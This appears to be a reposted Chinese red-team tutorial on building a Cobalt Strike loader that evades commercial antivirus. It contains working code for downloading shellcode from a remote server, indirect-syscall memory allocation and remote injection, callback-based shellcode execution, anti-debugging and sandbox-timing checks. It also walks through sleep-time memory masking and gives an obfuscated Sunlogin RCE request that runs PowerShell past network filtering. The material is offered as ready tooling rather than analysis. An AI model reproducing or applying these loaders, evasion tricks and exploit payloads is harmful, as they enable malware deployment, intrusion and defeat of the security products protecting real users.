原文链接:
https://xz.aliyun.com/t/16486?time__1311=GuD%3DqmxGxdGNpqeqBK0QFn4Wu7LWKIeD
本文分享的动态逃逸杀软,主要聚焦在流量、内存、行为上进行规避,并且组合了间接系统调用、反调试、反沙箱等技术进一步对抗杀软,也为后续综合逃逸EDR/XDR打下良好的基础,测试使用企业版卡巴斯基、火绒6.0、360开启晶核状态,完整代码已经上传Github
流量规避
Cobalt Strike为了提供了非常灵活的流量调整,我们需要修改profile中的流量,我这里的配置修改了热门项目的4.9的内容,默认的jquery流量已经被杀毒和EDR标记严重,卡巴斯基对于这种流量是直接秒杀的,而且即使是启用https监听对于杀毒没有意义,杀毒安装的时候默认就把自己的根证书安装上了系统,所以是可以解密https,如下图
需要提前说明,如果VPS被沙箱和情报标记为恶意ip那无论怎么改流量都会秒杀,我搞了一下午发现无论怎么改都过不了卡巴的流量,后面注意到可能是我服务器ip被拉黑了
威胁原因是云保护,换个ip就行了:
为了修改流量,需要快速学习profile的语言,阅读文档,我们可以知道http-get部分是拉取请求服务要执行的内容,为了区分不同的beacon,metadata就是加密好的元数据,为了让metadata看起来不可疑,使用了base64url对元数据进行编码,同时用header指定了Cookie头,用prepend添加一些正常的数据
我们可以运行一下c2lint看看流量呈现的效果
./c2lint endlessparadox.profile
server是控制响应output字段,mask代表随机xor加密,base64放在后面会进一步编码加密的流量降低流量的熵值
大部分师傅都是做web出身应该很容易理解这些配置文件字段,流量效果如下,完全融入正常流量:
再看一下http-post,这部分是beacon发送执行命令和任务的结果,id来确定任务序列,output自然就是任务的结果,处理也就经过了mask加密和base64url编码
下面就是模拟的流量请求:
在原有的基础上修改还是比较容易,上面的流量就是我用bp抓取了B站的流量,借此模拟合法B站的请求,原版的github里面的请求对着一个静态资源发送POST请求确实是很可疑?师傅也可以抓取其他流量,按照正常的网站修改就好了。
分阶段的shellcode不会加密流量非常坑,同时为了避免空间测绘识别我的C2我关掉了host_stage,当c2lint所有检查通过之后就可以愉快的拉起cs去测试了
网络获取shellcode
为了分离shellcode和加载器,我使用内置windows api的InternetOpenA去获取远程服务中的shellcode
std::vector<unsignedchar>DownloadShellcode(constchar*url){std::vector<unsignedchar>shellcode;HINTERNEThInternet=InternetOpenA("MyApp",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);if(hInternet){HINTERNEThUrl=InternetOpenUrlA(hInternet,url,NULL,0,INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION,0);if(hUrl){DWORDbytesRead=0;constDWORDbufferSize=4096;BYTEbuffer[bufferSize];while(InternetReadFile(hUrl,buffer,bufferSize,&bytesRead)&&bytesRead!=0){shellcode.insert(shellcode.end(),buffer,buffer+bytesRead);}InternetCloseHandle(hUrl);}InternetCloseHandle(hInternet);}returnshellcode;}
自解密的shellcode
我现在不想引入其他算法再去解密我们的shellcode,硬编码key不是最佳实现,目前常用的算法总会被少数几个杀毒和edr标记为可疑,我们应该处理shellcode,实现自解密,不过对于我这种一般的开发者纯汇编实现有些过于困难;而且有枪不用,用气功,怎么成为一代宗师?所以我这里使用了Sgn工具,它会帮我们处理shellcode实现运行时候自解密
./sgn --arch=64 -S -i shellcode.txt
-S是代表安全生成shellcode, -i指定我们要处理的shellcode文件,--arch=64代表指定处理64位的
它处理Payload的流程如下:
根据大佬写的算法随机空间非常大,杀毒别说抓特征,写出Yara规则都不可能:
需要注意一个问题,自解密的Shellcode是需要内存区域为RWX权限,对付杀软倒是还行,对付更厉害的EDR/XDR会被重点关照,因此自解密的shellcode也不是什么灵丹妙药,最多作为一种备选的方案
Windows API通过系统调用
我们用Windbg打个断点到VirutalAlloc这边,跟进去来看看正常API调用的流程,注意堆栈调用和反汇编区域:
右下方是正常windows api调用的一个正常路径,最下方这两个是线程启动正常的调用,我们暂时不管:
0700000054`5532fa4000007ff8`9a76af38KERNEL32!BaseThreadInitThunk+0x1d0800000054`5532fa7000000000`00000000ntdll!RtlUserThreadStart+0x28
和程序有关入口其实是就是main函数,也就是callback!main+0x99,其他都是一些C库的东西,和windows api没关系:
0:000>k# Child-SP RetAddr Call Site0000000054`5532f7d800007ff8`97a3a5f8ntdll!NtAllocateVirtualMemory0100000054`5532f7e000007ff6`c39d1639KERNELBASE!VirtualAlloc+0x480200000054`5532f82000007ff6`c39e31f9callback!main+0x990300000054`5532f92000007ff6`c39e3332callback!invoke_main+0x390400000054`5532f97000007ff6`c39e33becallback!__scrt_common_main_seh+0x1320500000054`5532f9e000007ff6`c39e33decallback!__scrt_common_main+0xe0600000054`5532fa1000007ff8`98f1259dcallback!mainCRTStartup+0xe
其实就是正常的流程就是callback!main+0x99 -->> KERNELBASE!VirtualAlloc+0x48 -->> ntdll!NtAllocateVirtualMemory -->> ntoskrnl.exe,我稍微画个图更加直观:
Syscall就是要跳过KERNELBASE!VirtualAlloc+0x48这一步,直接或者间接发起Syscall,达到绕过hook在KERNELBASE的杀毒:
我们可以看看右上角反汇编的代码,系统本身是怎么发起syscall的:
ntdll!NtAllocateVirtualMemory:00007ff8`9a7b04c04c8bd1movr10,rcx00007ff8`9a7b04c3b818000000moveax,18h00007ff8`9a7b04c8f604250803fe7f01testbyteptr[SharedUserData+0x308(00000000`7ffe0308)],100007ff8`9a7b04d07503jnentdll!NtAllocateVirtualMemory+0x15(00007ff8`9a7b04d5)00007ff8`9a7b04d20f05syscall00007ff8`9a7b04d4c3ret00007ff8`9a7b04d5cd2eint2Eh00007ff8`9a7b04d7c3ret00007ff8`9a7b04d80f1f840000000000nopdwordptr[rax+rax]
要发起syscall其实很简单,看上去只需要将系统调用号放入 RAX
寄存器,然后直接syscall就可以了,这个例子是NtAllocateVirtualMemory,调用号是18h,只要参数就位,进入寄存器就可以直接进入内核模式了。
但是有一个关键的问题,我们是不知道具体NTAPI的系统调用号的呀!
系统调用号不同版本的windows都不一样,我们一方面要不硬编码所有的系统调用号到loader里面,要不就只能手动解析ntdll.dll来动态获取系统调用号,这些都不是简单的工作,直到SysWhispers的出现直到SysWhispers出现才真正方便的恶意代码开发者,SysWhispers经过多轮迭代,现在已经有SysWhispers3这类规避极强的方案出现,内置了多种不同的syscall方案。
根据大佬博客, 对于静态规避直接系统调用的是不行的,杀毒会杀syscall这个指令,因为系统上硬编码syscall的只可能有ntdll.dll有,我们编写shellcode loader还是得用间接系统调用
syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory -o SysWhispers
-
-m jumper_randomized指定跳跃间接系统随机化 -
-f 指定要使用的NtAllocateVirtualMemory api -
-a 指定64位架构
这里工具的使用比较简单,就鼓励大家自己探索一下了
通过上述命令,将会生成随机间接系统调用的三个文件,添加进我们的项目里面,之后还要启用MASM才能正常编译:
用起来就和几乎和正常API一样,稍微要注意的是,NTAPT一般会多几个参数,这部分花时间看看文档,稍微麻烦一点;我们再看看它生成的关键汇编代码:
.code EXTERN SW3_GetSyscallNumber: PROC EXTERN SW3_GetRandomSyscallAddress: PROC Sw3NtAllocateVirtualMemory PROC mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 019911121h ; Load function hash into ECX. call SW3_GetRandomSyscallAddress ; Get a syscall offset from a different api. mov r11, rax ; Save the address of the syscall mov ecx, 019911121h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r11 ; Jump to -> Invoke system call. Sw3NtAllocateVirtualMemory ENDP end
比较有意思的点,它使用了API HASH技术规避硬编码字符串到二进制文件里面,同时获取了随机syscall地址,这样发出syscall的地方虽然还是ntdll.dll,但是确实完全不同的API地址,这可以规避掉NTDLL的hook(因为杀软不可能hook所有API,不然我们的电脑要卡死了)
虽然理论上安全软件依然可以Hook内核,但是出于安全考虑,微软阻止了这种行为,KPP蓝屏警告!实际上,安全产品无法真正Hook内核,有些是hook ntdll来解决,有些是使用内核ETW来收集调用日志,再做决策,所以理论上是Syscall是操作安全的;2024年,间接系统调用依然非常好用。
shellcode执行方案选择
红队开发需要权衡当前的环境情况来选择不同的方案,编写执行方法一般分为两个大方向,一种是在我们加载器内部执行,另一种是注入其他进程执行;内部执行好处是非常容易规避杀软的检测,而且很轻量,但是代价是假如恶意操作失误,被杀软标记后会立刻销毁我们的加载器,作为一次性的使用物品是非常合适;注入后执行的代价是注入动作比较敏感,但是后续操作操作即使是失误也不会立刻关联到我们编写的加载器,非常适合反复使用
回调函数执行
本身杀毒对回调函数查杀不严格,我只需要把回调的执行地址指向shellcode地址即可执行,非常简单,用EnumChildWindows举个例子,Address直接指向我们分配的内存地址就好了
EnumChildWindows(NULL,(WNDENUMPROC)Address,NULL)
著名AlternativeShellcodeExec的有大量回调函数,可以直接拿来使用,回调本身没啥好说的,因为涉及到背后的消息处理机制可能很复杂也可能很简单,要规避强就用线程池回调就可以了。
boolCreateAndTriggerEvent(PTP_WAIT_CALLBACKWaitCallback){// 创建事件对象HANDLEhEvent=CreateEvent(NULL,FALSE,FALSE,NULL);if(hEvent==NULL){//std::cerr << "Failed to create event." << std::endl;returnfalse;}// 创建线程池等待对象PTP_WAITwait=CreateThreadpoolWait(WaitCallback,NULL,NULL);if(wait==NULL){//std::cerr << "Failed to create wait object." << std::endl;CloseHandle(hEvent);returnfalse;}// 将事件关联到线程池等待对象SetThreadpoolWait(wait,hEvent,NULL);// 模拟触发事件if(!SetEvent(hEvent)){//std::cerr << "Failed to set event." << std::endl;CloseThreadpoolWait(wait);CloseHandle(hEvent);returnfalse;}// 进入无限等待,确保shellcode的线程不会执行完就退出WaitForSingleObject(GetCurrentProcess(),INFINITE);// 清理资源//CloseThreadpoolWait(wait);//CloseHandle(hEvent);returntrue;}//触发这个回调函数CreateAndTriggerEvent((PTP_WAIT_CALLBACK)Address);
Windows有大量的回调方法,配合获取shellcode方法可以组合出上百种免杀方案,而且好处是简单而小,杀毒无法查杀,使得可以轻而易举到达一个静态很好的规避查杀的效果:
间接系统调用升级传统APC注入
通过刚才的方法,我们就可以轻松升级我们的APC注入代码了,用 SysWhispers3生成一下我们接下来要调用的NTAPI就可以了.
pythonsyswhispers.py-ax64-cmsvc-mjumper_randomized-fNtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread-oapcsyscall-v
修改一下inject注入方法,NTAPI和原本的标准API无非就是多了几个参数,可以做更加细腻的控制:
std::tuple<BOOL,PVOID>syscallInject(HANDLEhProcess,PBYTEpShellcode,SIZE_TsSizeOfShellcode){SIZE_TsNumberOfBytesWritten=NULL;PVOIDpAddress=nullptr;NTSTATUSSTATUS1=Sw3NtAllocateVirtualMemory(hProcess,&pAddress,NULL,&sSizeOfShellcode,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);if(STATUS1!=0){std::cout<<"Windows Error code is "<<GetLastError()<<std::endl;returnstd::make_tuple(FALSE,nullptr);}if(pAddress==NULL){std::cout<<"Windows Error code is "<<GetLastError()<<std::endl;returnstd::make_tuple(FALSE,nullptr);}NTSTATUSSTATUS2=Sw3NtWriteVirtualMemory(hProcess,pAddress,pShellcode,sSizeOfShellcode,&sNumberOfBytesWritten);if(STATUS2!=0){std::cout<<"Windows Error code is "<<GetLastError()<<std::endl;returnstd::make_tuple(FALSE,nullptr);}DWORDdwOldProtection=NULL;NTSTATUSSTATUS3=Sw3NtProtectVirtualMemory(hProcess,&pAddress,&sSizeOfShellcode,PAGE_EXECUTE_READWRITE,&dwOldProtection);if(STATUS3!=0){std::cout<<"Windows Error code is "<<GetLastError()<<std::endl;returnstd::make_tuple(FALSE,nullptr);}returnstd::make_tuple(TRUE,pAddress);}
由于我们的使用的Sw3NtAllocateVirtualMemory函数直接分配内存,这意味着这块分配的内存区域没有任何关联在磁盘上的PE文件,这对于杀毒来说是可疑的,系统内存区域有执行x权限的通常情况下会关联到一个dll
没有执行权限的一般会给动态数据内存,这部分不会关联dll:
这部分就像是JAVA中的内存马一样,没有磁盘上class文件,内存马扫描器就能找到可疑的活动。要解决这部分查杀我们得使用模块踩踏技术,这部分就留到后续再分享吧;
反调试
为了避免安全分析的工程师调试我们的loader,我们可以尝试加入反调试技术,目前的调试器都会自动扑获异常,只需要我们故意触发一个异常即可
#include<iostream>#include<Windows.h>BOOLisDebugged=TRUE;LONGWINAPICustomUnhandledExceptionFilter(PEXCEPTION_POINTERSpExceptionPointers){isDebugged=FALSE;returnEXCEPTION_CONTINUE_EXECUTION;}intmain(){PTOP_LEVEL_EXCEPTION_FILTERpreviousUnhandledExceptionFilter=SetUnhandledExceptionFilter(CustomUnhandledExceptionFilter);RaiseException(EXCEPTION_FLT_DIVIDE_BY_ZERO,0,0,NULL);SetUnhandledExceptionFilter(previousUnhandledExceptionFilter);if(isDebugged){exit(0);}std::cout<<"Now IS TIME TO REAL FUNN "<<'n';}
自定义异常分三步:
第一步:设置异常处理函数SetUnhandledExceptionFilter,并且指向我们的自定义的异常处理函数,函数返回指定为EXCEPTION_CONTINUE_EXECUTION,意味着遇到错误继续执行后续代码第二步:主动升起异常函数RaiseException第三步:恢复之前保存的previousUnhandledExceptionFilter,此时isDebugged已经是Ture,直接退出程序
一旦我下个断点就会是这样,处有未经处理的异常,后续继续调试就会走到退出代码,无法调试后续的代码了:
我这里比较简陋,当然有很多其他高级的反调试技巧,可以具体参考最权威的https://anti-debug.checkpoint.com/进一步学习
反沙箱
沙箱经常出现在低成本的自动化识别威胁的方案中,为了避免我们的shellcode加载完成运行在沙箱中被识别出来,我这里使用了TCP关联延迟方案;基本上在加载shellcode之前,我们通过延迟一个很长的时间来规避沙箱的检查;但是现代高级的沙箱总会hook掉一些API的休眠时间,并且修改为0;最终解决方案是差异化,当沙箱的休眠时间和我们服务的休眠时间不一致的时候,就直接退出
#define _WINSOCK_DEPRECATED_NO_WARNINGS#include<iostream>#include<memory>#include<string>#include<winsock2.h>#include<ws2tcpip.h>#pragma comment(lib, "Ws2_32.lib")classWinsockInit{public:WinsockInit(){if(WSAStartup(MAKEWORD(2,2),&wsaData)!=0){throwstd::runtime_error("Error: WSAStartup failed");}}~WinsockInit(){WSACleanup();}private:WSADATAwsaData;};classSocket{public:Socket():sockfd(socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)){if(sockfd==INVALID_SOCKET){throwstd::runtime_error("Error: Could not create socket");}}~Socket(){if(sockfd!=INVALID_SOCKET){closesocket(sockfd);}}SOCKETget()const{returnsockfd;}private:SOCKETsockfd;};inthello_tcp(conststd::string&ip,intport){try{WinsockInitwinsockInit;Socketsocket;sockaddr_inserver_addr={};server_addr.sin_family=AF_INET;server_addr.sin_port=htons(port);server_addr.sin_addr.s_addr=inet_addr(ip.c_str());// 连接到服务器if(connect(socket.get(),reinterpret_cast<structsockaddr*>(&server_addr),sizeof(server_addr))==SOCKET_ERROR){throwstd::runtime_error("Error: Connect failed with error code "+std::to_string(WSAGetLastError()));}std::cout<<"Connected to servern";return0;}catch(conststd::exception&ex){std::cerr<<ex.what()<<std::endl;return1;}}
这个函数所作的事情的作为TCP和我们的服务端沟通,看看固定端口有没有开启;
hello_tcp("127.0.0.1",9999);//发起第一个TCP握手Sleep(60000);//假设沙箱hook时间,时间会归0,但是我们服务器的休眠它无法控制hello_tcp("127.0.0.1",9999);// 休眠结束,根据tcp开放的情况来判断是否是沙箱
假设沙箱10分钟后必定超时,如果hook休眠时间改为0,那么会过早请求我们的服务器,端口没能开放将会导致直接退出;如果不hook,10分钟后沙箱资源销毁了,自然也无法分析了。
服务端设计实现也很简单,就开个socks TCP监听出来休眠就是了
importsocketimporttimefromhttp.serverimportHTTPServer,BaseHTTPRequestHandlerimportthreadingimportsysdeftcp_con(sleep=bool):# 创建一个TCP/IP套接字sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)# 绑定到指定端口server_address=('0.0.0.0',9999)print('Starting up on {} port {}'.format(*server_address))sock.bind(server_address)# 开始监听连接sock.listen(1)print('Waiting for a connection...')connection,client_address=sock.accept()print('Connection from',client_address)connection.close()#反沙箱睡眠600秒,后面开启http服务if(sleep):print('ok , tcp done and will go to sleep')time.sleep(600)print('ok , sleep done')return0
内存规避
过卡巴内存据说很难,让我们来看看真的如此吗?实际上轻而易举。
Arsenal Kit是综合了多种规避技术的武器库,让我们去捞一下官方的Arsenal Kit武器库,这是官方的hash地址,SHA256是c2e1ba266aa158636ea3470ba6ab7084bb65d6811131c550d8c6357ca0bbaedd:
去微步在线捞一下样本:
下载下来解压,之后我们手工再验证一下hash就可以了:
certutil -hashfile file md5
我们看一下它的目录结构:
里面每个Kit都是一个套件,里面有详细的md文档说明解释,我们这里关注内存规避是sleepmask套件,直接跳进源码里面分析是非常痛苦的,我们得先总体熟悉一下整体的层次再去关注具体实现:
主要的逻辑都在sleepmask.c里面了,我画个函数调用图片:
执行这个BOF是生命周期现在看起来就很清晰了,BOF进入内存后,首先经过一系列的信息准备,获取需要加密内存区域的信息、之后依次执行mask函数的各种加密操作;evasive_sleep为休眠做准备,之后根据配置选择,选择休眠的模式(waitforsingleobject 或者psleep休眠),之后休眠期结束,再执行解密内存的操作,如此循环往复,就是这个sleepmask的生命周期了。
我想我们现在还是一头雾水,不过不着急,还需要看一下这些函数关键的一个struct,里面包含了这些函数执行需要的关键信息:
/******** DO NOT MODIFY FILE START ********//** beacon_ptr - pointer to beacon's base address* sections - list of memory sections beacon wants to mask.* A section is denoted by a pair indicating the start and end index locations.* The list is terminated by the start and end locations of 0 and 0.* heap_records - list of memory addresses on the heap beacon wants to mask.* The list is terminated by the HEAP_RECORD.ptr set to NULL.* mask - the mask that beacon randomly generated to apply*/typedefstruct{char*beacon_ptr;DWORD*sections;HEAP_RECORD*heap_records;charmask[MASK_SIZE];}SLEEPMASKP;/******** DO NOT MODIFY FILE END ********/
如果师傅还没储备PE结构、和内存映射的知识接下来肯定会一脸懵逼,为了保证读者的流畅性,我们快速补充一下PE知识部分的关键知识;
PE文件是Windows操作系统可执行文件格式,包括.exe
和.dll
文件。它是基于COFF(Common Object File Format)的扩展,包含了一系列用于描述文件如何加载到内存并执行的数据结构。我们这里关注sections字段,sections字段存储了程序的代码、全局变量、资源信息。
下图是正常PE如何映射到内存中的过程:
涉及到BOF的载入就会变得更加复杂,不过本质其实一样,无非是解析过程变得复杂了,在内存中的状态依然一致。为了规避杀毒的特征查找,我们就需要对这部分关键的内存区域进行加密操作,这也是SLEEPMASKP结构会保存的关键信息地址。
我们现在有几个关键的疑问:
-
没看到mask_heap和mask_sections解密的逻辑? -
是怎么加密了.text这种可执行区域的特征的?被加密了怎么恢复到原始的状态?
进去看一下加密方法,我们不难发现,实现加密的逻辑是XOR,这意味着只需要再次调用这个加密就函数就能解密,XOR本身是互逆运算,因此不需要实现新的解密方法:
/* Mask a beacon section* First call will mask* Second call will unmask*/voidmask_section(SLEEPMASKP*parms,DWORDa,DWORDb){while(a<b){*(parms->beacon_ptr+a)^=parms->mask[a%MASK_SIZE];a++;}}/* Mask the beacons sections* First call will mask* Second call will unmask*/voidmask_sections(SLEEPMASKP*parms){DWORD*index;DWORDa,b;/* walk our sections and mask them */index=parms->sections;while(TRUE){a=*index;b=*(index+1);index+=2;if(a==0&&b==0)break;mask_section(parms,a,b);}}/* Mask the heap memory allocated by beacon* First call will mask* Second call will unmask*/voidmask_heap(SLEEPMASKP*parms){DWORDa,b;/* mask the heap records */a=0;while(parms->heap_records[a].ptr!=NULL){for(b=0;b<parms->heap_records[a].size;b++){parms->heap_records[a].ptr[b]^=parms->mask[b%MASK_SIZE];}a++;}}
对于text_section区域,bof采取的是内存权限的变动,加密的时候根据配置情况使用NtProtectVirtualMemory或者VirtualProtect函数反转内存权限到PAGE_READWRITE(可读可写)
voidmask_text_section(SLEEPMASKP*parms){if(text_section.mask){#if USE_SYSCALLSSIZE_Tsize=text_section.end-text_section.start;PVOIDptr=(PVOID)(parms->beacon_ptr+text_section.start);if(0!=NtProtectVirtualMemory(GetCurrentProcess(),(PVOID)&ptr,&size,PAGE_READWRITE,&text_section.old)){text_section.mask=0;return;}#elseif(!VirtualProtect(parms->beacon_ptr+text_section.start,text_section.end-text_section.start,PAGE_READWRITE,&text_section.old)){text_section.mask=0;return;}#endifmask_section(parms,text_section.start,text_section.end);}}
对于解密操作是使用NtProtectVirtualMemory或者VirtualProtect反转回text_section.old的权限(这部分由用户的profile文件控制,一般是rwx或者rx权限)
voidunmask_text_section(SLEEPMASKP*parms){if(text_section.mask){mask_section(parms,text_section.start,text_section.end);#if USE_SYSCALLSSIZE_Tsize=text_section.end-text_section.start;PVOIDptr=(PVOID)(parms->beacon_ptr+text_section.start);NtProtectVirtualMemory(GetCurrentProcess(),(PVOID)&ptr,&size,text_section.old,&text_section.old);#elseVirtualProtect(parms->beacon_ptr+text_section.start,text_section.end-text_section.start,text_section.old,&text_section.old);#endif}}
XOR计算本身速度很快,加密解密发生在一瞬间,和Cobastrike的休眠周期(默认60s休眠)比起来可能就是千万分之一或者一亿分之一的时间窗口(现代CPU一般可以在几个时钟周期内完成,比例非常小),杀毒的从头内存扫描要想找到我们正常休眠活动的beacon几乎是不可能的。
我们还有一个重要的疑问,内存权限翻转为RW了,是怎么解密恢复的?没有执行权限呀。要回答这个关键的问题就要引入help stub这个内存区域,早期的CS保留了一小块内存区域拥有执行权限,而且没有被加密(也无法加密),这样杀毒就能找到这块内存区域,干掉我们的beacon,我们得想办法消除这个特征。
解决这个问题正是evasive_sleep(parms->mask, time, &info);的作用,Sleepmask采用了Ekko休眠技术;为了理解这部分我们得学几个关键window API:
CreateTimerQueueTimer API
CreateTimerQueueTimer
用于在计时器队列中创建一个计时器,该计时器到期时会触发指定的回调函数,同时给出了Parameter参数可以用于传递回调函数参数,创建的计时器会在固定时间触发。
BOOLCreateTimerQueueTimer([out]PHANDLEphNewTimer,[in,optional]HANDLETimerQueue,[in]WAITORTIMERCALLBACKCallback,[in,optional]PVOIDParameter,[in]DWORDDueTime,[in]DWORDPeriod,[in]ULONGFlags);
NtContinue API
NtContinue
的主要功能是从提供的 ThreadContext
中恢复线程的执行状态。这意味着调用这个函数的线程会被强制切换到指定的寄存器状态(包括程序计数器、堆栈指针等),并继续执行。
NTSYSAPINTSTATUSNTAPINtContinue(INPCONTEXTThreadContext,INBOOLEANRaiseAlert);
这个函数给了我们可能性去操作寄存器然后跳转到任意的系统API,从而调用任意系统API。函数调用的本质实际上是参数准备在寄存器上,CPU顺序执行,熟悉x64架构的师傅应该都知道Rip寄存器控制着函数要去的地址,而参数通常使用寄存器(如 RDI
, RSI
, RCX
, 等)来传递前几个函数参数,这就提供了无限的可能。
把上述这两个函数组合起来,并且利用ROP技巧,我们可以在定时器内执行特定的WIN API:
CONTEXTRopProtRW={0};memcpy(&RopProtRW,&CtxThread,sizeof(CONTEXT));// VirtualProtect( ImageBase, ImageTextSize, PAGE_READWRITE, &OldProtect );RopProtRW.Rsp-=8;RopProtRW.Rip=(DWORD_PTR)VirtualProtect;RopProtRW.Rcx=(DWORD_PTR)ImageBase;RopProtRW.Rdx=ImageTextSize;RopProtRW.R8=PAGE_READWRITE;RopProtRW.R9=(DWORD_PTR)&OldProtect;CreateTimerQueueTimer(&hNewTimer,hTimerQueue,(WAITORTIMERCALLBACK)NtContinue,&RopProtRW,,0,WT_EXECUTEINTIMERTHREAD);
由于CreateTimerQueueTimer指向NtContinue,这部分可以利用RopProtRW传递并转发到VirtualProtect的位置上,这样一来修改权限动作就交付给了系统本身,系统本身当然有权限执行修改内存权限,而我们只需要计算好时间,等待系统解密完成,所以说自解密的说法其实不太对,应该是系统解密才更恰当。
现代EDR一般会扫描具备执行权限的内存区域,但是如果不加密内存肯定是不行的,为了强力规避,作者又找了一个系统函数在内存中实现加密解密,这就是著名的SystemFunction032,用起来就两个参数,没什么难度。
NTSTATUSSystemFunction032(structustring*data,conststructustring*key)
现在我们再深入分析一下这个函数的实现:
前面都是一些参数准备的工作:
核心部分利用 CreateTimerQueueTimer
创建多个定时任务,按以下顺序执行:
time代表我们的休眠时间,旨在对其休眠恢复时间:
- 100ms
: 调用 spoof_stack
。 - 200ms
: 调用 NtContinue
,设置为调用VirtualProtect
。 - 300ms
: 调用 NtContinue
,设置为调用SystemFunction032
。 - 400 + time ms
: 重复调用 SystemFunction032
。 - 500 + time ms
: 调用 VirtualProtect
,恢复代码段的可执行权限。 - 600 + time ms
: 恢复原始栈。 - 700 + time ms
: 调用 SetEvent
,解除线程的阻塞。
整个生命周期实际上就是如下图,我们不难发现,如果给beacon执行任务的时间比较久的话,被EDR察觉的概率会大大增加,这部分就要求红队操作需要注意OPSEC了:
不看源码,直接用的话非常简单,我们执行./build.sh看看需要什么参数:
我这里有windows的linux子系统,直接编译导入一下:
./build.sh 49 WaitForSingleObject true indirect_randomized ./temp/
使用过CS插件的师傅都知道,在这边加载一下CNA就好了,记得要重启客户端才能正确生效,否则是过不了卡巴的;下次面试官再问你如何过卡巴就用我这篇文章,如果面试官说不二开就过不了,就直接用我这篇文章打脸面试官(笑),实际上根本不需要而二开:
不过,读者看过我之前的文章会发现有yara签名可以打标内存,但是红队无需担心,可以使用更加底层的LLVM混淆,每次编译都生成完全不同的特征,对源码打标变的毫无意义,请查看KomiMoe大佬的工作,我这里就不展开了,替换一下里面的编译器和编译参数就可以。
备注:可能LLVM混淆有bug或者致命错误会导致sleepmask加密失效甚至beacon崩溃,务必反复测试验证工作正常,如果只是为了逃逸卡巴斯基可以不混淆直接导入使用,但是商业EDR(Crowdstrike、bitdenfender这种顶级的)必须混淆,因为会集成内存yara规则重点打击。
上线测试
把这些技术组合在一起,一个不错的loader就起来了,起码应付99%杀毒和初级的分析人员没问题。
行为规避
当然上线完成还不够,我们上线完成之后如果要做各种敏感的操作,例如进程注入、内存执行.net程序、执行键盘监控、dump lsass内存、加入后门项持久化等,有行为检测的杀毒都会秒杀这种恶意操作,这个时候就需要我们针对这些进行特化规避,这些都是非常复杂深入的话题,我这里快速帮师傅过一下。
进程注入
上线之后,CS默认的注入已经被查杀严重了,我们可以看一下配置文件用了什么类型的注入,我们CS配置文件写明了会执行下面4种注入
execute{#Theorderisimportant!Eachstepwillbeattempted(ifapplicable)untilsuccessful##self-injectionCreateThread"ntdll!RtlUserThreadStart+0x42";CreateThread;##Injectionviasuspenedprocesses(SetThreadContext|NtQueueApcThread-s)#OPSEC-whenyouuseSetThreadContext;yourthreadwillhaveastartaddressthatreflectstheoriginalexecutionentrypointofthetemporaryprocess.#SetThreadContext;NtQueueApcThread-s;##Injectionintoexistingprocesses#OPSECUsesRWXstub-DetectedbyGet-InjectedThread.Lessdetectedbysomedefensiveproducts.#NtQueueApcThread;#CreateRemotThread-Vanillacrossprocessinjectiontechnique.Doesn'tcrosssessionboundaries#OPSEC-firesSysmonEvent8CreateRemoteThread;#RtlCreateUserThread-Supportsallarchitecturedependentcornercases(e.g.,32bit->64bitinjection)ANDinjectionacrosssessionboundaries#OPSEC-firesSysmonEvent8.UsesMeterpreterimplementationandRWXstub-DetectedbyGet-InjectedThreadRtlCreateUserThread;}
完全理解这些注入原理不在本篇讨论范围,目前只需要知道所有技术的注入受限于底层的注入原理,并非所有的注入都能成功,而且杀毒查杀默认的严重,对付杀毒尽量不要使用原生的注入,目前Github上已经有很多开箱的高级注入可以使用,建议使用最近发布的线程池注入;
虽然我们习惯性使用APC注入、DLL注入、线程池注入这种说法,但是深入研究其实可以分解为分配内存技术+写入技术+执行技术,Black Hat的演讲Process Injection Techniques - Gotta Catch Them All,对于这几年的注入技术总结的非常全面,如果师傅深入理解背后的工作原理之后,开发出相关注入技术的变体还是很容易的。
流量层面的漏洞防御绕过
漏洞防御杀毒吹嘘的很牛逼,我们实际来看看,这是一个古老的向日葵漏洞,公开的POC发送,我们的payload被拦截了,不用说是正则匹配:
绕过正则没啥难度,搞Web出身的师傅怎么可能还搞不定你的流量拦截,稍微fuzz变形就绕过了,杀毒不是WAF,没啥好说的,太弱了:
GET /check?cmd=ping//////88ukjvyjufhilhl//..//../././././/..//../..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2FpOweRshELl.exe+'echo%20vF2T7n' HTTP/1.1 Host: 192.168.43.171:49807 User-Agent: Mozilla/5.0 (Windows NT 6.1; gez-ER; rv:1.9.0.20) Gecko/6930-02-04 18:22:36 Firefox/3.6.19 Accept-Encoding: gzip, deflate, br Accept: */* Connection: keep-alive Content-Type: application/x-www-form-urlencoded Cookie: CID=sobGzXzWBfSlSbdqnmkUbJMLEjhssRx1
执行命令也没问题,大部分杀毒本身就对这类流量混淆后的payload无能为力:
360之前还能过的,现在杀进程链了,就过不了了。
进程行为、进程链的监控
假如explorer.exe出现网络连接会被杀软持续跟踪,直到销毁我们的beacon,但是如果注入到浏览器,浏览器发起存在网络连接是在正常不过的事情;如果要调用cmd.exe那么从explorer.exe调用再正常不过了,但是浏览器进程启动cmd.exe则是非常可疑的,这就是进程链监控的基本原理。
为了绕过进程链的监控,通用的一般有两种方法,一种是进程注入到别的进程,另外一种是父进程欺骗;父进程欺骗这边我就不讲解原理了,先知已经有很多文章,我们直接用C2开箱即用的欺骗技术就好了,目前自带的技术生命力还是非常强的;如果上面两种都过不了,就得找WinCOM自行武器化,或者寻找入口进程本身的特性,这些都非常复杂,涉及知识面非常广泛,又是另外一个很大的话题了。
为了更好的解释,我本地搭建了tomcat模拟实战环境,可以看到,如果直接在冰蝎的命令执行,发现是无法执行敏感命令的,理由也很简单,java.exe这个进程本身就不太可能拉起cmd执行系统命令,会被杀软重点关注:
